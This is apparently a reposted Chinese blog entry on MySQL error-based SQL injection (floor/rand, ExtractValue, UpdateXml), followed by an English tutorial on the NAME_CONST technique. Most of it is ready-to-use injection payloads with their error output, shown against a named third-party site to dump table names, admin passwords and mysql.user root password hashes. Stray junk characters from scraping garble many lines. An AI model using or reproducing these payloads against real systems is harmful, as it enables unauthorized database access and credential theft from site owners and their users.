mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
! X- ]  n: b# a) z# ^+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
( ?% V! d/ i1 k( v5 }+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
& K- D8 o0 y  q- n8 tERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
4 l# D. H5 }+ c( a+ b  v: BERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
7 O/ T" z$ i* zERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

! S' j9 q3 z: E
# X$ {) D3 r) U6 p% L# l

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
/ H5 N  ]! w. {  p/ v) i' a
8 o) J; p% s* j2 ^Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

4 x8 F8 c6 j# t: [. whttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
  ]5 m3 |# u  c/ o3 {
MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
; @, U0 {& \( {6 A! q+ k
. O& G# S3 x! C
相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

Code:
/ j# g5 O  J  m( VNAME_CONST(DATA, VALUE)

: _" g# H* V) C5 j3 }4 G$ L9 @Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
5 k( B; H- d& M
SELECT NAME_CONST('TEST', 1)

: \' j0 Y9 Q8 K. m4 W

|---------------|
|     TEST      |
9 B) P1 e+ w: L/ M; h1 o|               |
|---------------|
|       1       |
|               |
|---------------|
5 j8 l/ b1 ]& B" E- C7 v
* O' W* u9 ^; s' Z

/ ?8 H8 }& j7 v9 f0 c' `( }* W4 u
! l2 X0 ?; `2 `" v) j( Y0 Xhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

2 ]. L0 F: l4 E% g+ [4 FCode:
4 \- g' ?$ |) y: e6 C1 w# a9 ahttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261

9 R, s5 T& N! E+ A5 d/ D+ x

$ C0 d4 _1 H- |2 w
+ F: X" {; O8 M/ x  m7 V4 i% Y, }
Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
, a# g7 q" C( @

VAR = Your MySQL variable.

+ k6 M, U# Y$ Q' ]  f7 {MySQL 5.1.3 Server System Variables

Let's try it out on my site..

4 Y1 c- [  o3 n+ J/ c3 l& t( q. r/ GCode:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
2 G- w* s0 Q8 @7 n: B7 M$ w* i8 A2 }9 _
% v1 @' e1 ]( G) ]! YErroruplicate column name '5.0.27-community-nt'

  [/ C7 `) P9 z* K



: b; _! A  G0 m) t1 n# ], \/ tNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
8 c4 D, c6 \4 p# F. z( K5 z
5 g3 D% K! b' v6 w- Y
We should get a duplicate column 1 error...
8 Y& c8 ]7 J, y( m! @
% i2 l0 K4 ~# B$ n5 LCode:
5 ^, ]! f# U* d1 ~' chttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
' t# U* z( v0 L( Z3 c5 _
Erroruplicate column name '1
3 J" ?- _8 l+ n) ~; }5 m
# M5 r& `* p/ f" ~$ {" W# j


5 z4 ^3 v9 M. a% Z

7 [' M9 n  C& V" Z$ A! q. wNow let's get the tables out this bitch..
. h$ c0 Y' [2 ?1 y& ~0 }
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

; ~8 q! D* }2 D$ S8 }) [$ [
( k+ \/ P* W- D- n7 x6 {Let's see if it works here, if it does, we can go on and finish the job.

Code:
6 e3 d2 ], V# Q  R+ Chttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
3 P2 E8 Z# x# ]
" ^( L* h% A* f% m& q5 ]
5 E% F/ F% T0 t7 `# Q; r7 _& zErroruplicate column name 'com_admanage


4 p1 i2 Q) F/ \6 l5 _5 [


+ l8 s6 P! \/ j! B8 y0 |" H
! M! `" k+ c) o2 F$ }( z+ hNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
0 n9 Y  y7 x9 Q) U  c" E
: Q% e* c9 a' ELet's get the columns out of the user table..

/ V% {/ `% d3 x* ^Code:
6 T8 c# s6 ~( E! r+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this, and I get the duplicate column name 'Host'.
* y2 g( u) |/ h, ^
" K* T4 y9 @' R; `Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
2 ~2 ?4 |) \' k( E6 {5 f  l
Erroruplicate column name 'Host'
- Z9 N+ L' n0 K5 h. t4 X

; t& F' y  T( y: U

, L7 H! }3 n% O5 ^3 K/ E  i

Woot, time to finish this bitch off.

Code:
+ L1 {& s0 p/ X. Z+ @# G+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
3 j  _8 i  R2 Y

  M- I* H. H4 z0 p) R  T' uSo mine looks like this...

+ z! n, X; W2 m7 ACode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

8 ]- X# v3 X# `7 xErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
9 k4 U6 ?7 Y1 B7 f6 I





8 |6 |% G% v( o# VAnd there we have it, thanks for reading.
" \6 R0 C: W; Z+ Q